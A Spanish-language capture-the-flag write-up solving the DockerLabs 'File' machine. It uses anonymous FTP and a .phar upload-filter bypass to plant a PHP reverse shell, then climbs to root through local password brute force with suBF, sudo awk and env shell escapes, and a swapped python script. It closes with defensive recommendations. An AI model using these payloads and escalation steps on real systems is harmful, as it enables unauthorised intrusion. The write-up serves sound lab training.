Ir al contenido

File

Este documento detalla la resolución completa de la máquina File, desarrollada por Scuffito y Jul3n-dot para la plataforma DockerLabs y clasificada como fácil. El objetivo es presentar un análisis claro, replicable y orientado a buenas prácticas, abarcando:

  • Identificación de vectores de ataque reales.
  • Explotación basada en fallos de configuración.
  • Técnicas de escalada de privilegios mediante abusos de sudo.
  • Consideraciones defensivas aplicables en entornos productivos.

La metodología aplicada sigue tres fases:

  1. Reconocimiento: Enumeración de puertos, servicios y rutas web.
  2. Explotación: Uso de FTP anónimo para subir archivos maliciosos.
  3. Escalada de privilegios: Abuso de binarios con permisos delegados para pivotar entre usuarios hasta llegar a root.

Todo se realizó en el entorno aislado de DockerLabs.


AtributoValor
NombreFile
AutorScuffito y Jul3n-dot
DificultadFácil
Fecha29/04/2024
PlataformaDockerLabs

Descomprimir:

Ventana de terminal
unzip File.zip

Ejecutar:

Ventana de terminal
sudo bash auto_deploy.sh File.tar

El script entrega una IP interna utilizada durante el análisis:

IP asignada


Ventana de terminal
mkdir -p File/{content,exploits,nmap,gobuster,scripts}
cd File

Una estructura organizada facilita documentar la metodología y permite reproducirla.


Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 21/tcp — FTP
  • 80/tcp — HTTP

Puertos abiertos

La presencia de FTP junto con un sitio web sugiere vectores de subida de archivos.


Ventana de terminal
gobuster dir \
-u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Rutas relevantes:

  • /index.php — Página principal Index

  • /uploads — Directorio con listado público

  • /file_upload.php — Formulario de subida potencialmente vulnerable file upload


Ventana de terminal
nmap -p21 -sCV 172.17.0.2

scan result

Se confirma:

Acceso FTP anónimo habilitado ✅ Permite subir archivos

Esto abre un vector para Upload + RCE.


El upload filtraba por extensiones, así que se envuelve la payload en .phar, formato permitido.

Payload:

<?php -r '$sock=fsockopen("172.17.0.2",443);$proc=proc_open("bash", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'?>

Se sube desde file_upload.php.

Listener:

Ventana de terminal
nc -nlvp 443

Luego se ejecuta desde /uploads:

directory listing revshell

http://172.17.0.2/upload/revShell.phar

Reverse shell recibida:

reverseshell


3.1 www-data → mario (fuerza bruta local con suBF)

Sección titulada «3.1 www-data → mario (fuerza bruta local con suBF)»

Se prueban usuarios obtenidos del sistema (fernando, iker, julen, mario) usando suBF.sh.

Ejemplo:

Ventana de terminal
./suBF.sh -u mario -w top12000.txt -t 0.7 -s 0.007

Resultados:

  • Fernando fernando subf

  • Mario Mario subf

El usuario mario posee mayor nivel de privilegios dentro del host.


Salida de sudo -l:

pingu sudo -l

Se puede ejecutar awk como julen:

Ventana de terminal
sudo -u julen awk 'BEGIN {system("/bin/sh")}'

sudo -l:

pingu sudo -l

Explotación:

Ventana de terminal
sudo -u iker env /bin/sh

3.4 Iker → root (python3 sobre archivo controlado)

Sección titulada «3.4 Iker → root (python3 sobre archivo controlado)»

sudo -l:

pingu sudo -l

Se puede ejecutar como root:

/usr/bin/python3 /home/iker/geo_ip.py

Como el archivo no es modificable pero, se remplaza por uno nuevo con:

import os
os.system('/bin/bash')

Ejecutar:

Ventana de terminal
sudo /usr/bin/python3 /home/iker/geo_ip.py

Y obtenemos root:

user root


  1. FTP anónimo habilitado y con permisos de escritura → Permitió subir un archivo ejecutable desde la web.

  2. Subida de archivos sin validación estricta.phar bypass de extensión y validación MIME débil.

  3. Listado público del directorio /uploads → Permitió identificar y ejecutar la reverse shell.

  4. Uso incorrecto de sudo con binarios peligrosos:

    • awk
    • env
    • python3 ejecutando archivos modificables → Cada uno permitió escalar a un usuario superior hasta root.
  5. Contraseñas débiles en usuarios locales → Fuerza bruta rápida con suBF.sh.


Deshabilitar el FTP anónimo y restringir permisos de escritura. ✅ Implementar validación estricta de extensiones y MIME en uploads. ✅ Deshabilitar listados de directorios (Options -Indexes). ✅ Revisar sudoers y evitar binarios con capacidad de ejecutar comandos. ✅ Aplicar Principio de Mínimos Privilegios (PoLP) para usuarios locales. ✅ Política estricta de contraseñas: longitud, complejidad y bloqueo de intentos. ✅ Monitoreo de archivos críticos como geo_ip.py. ✅ Pruebas periódicas de seguridad y hardening del stack.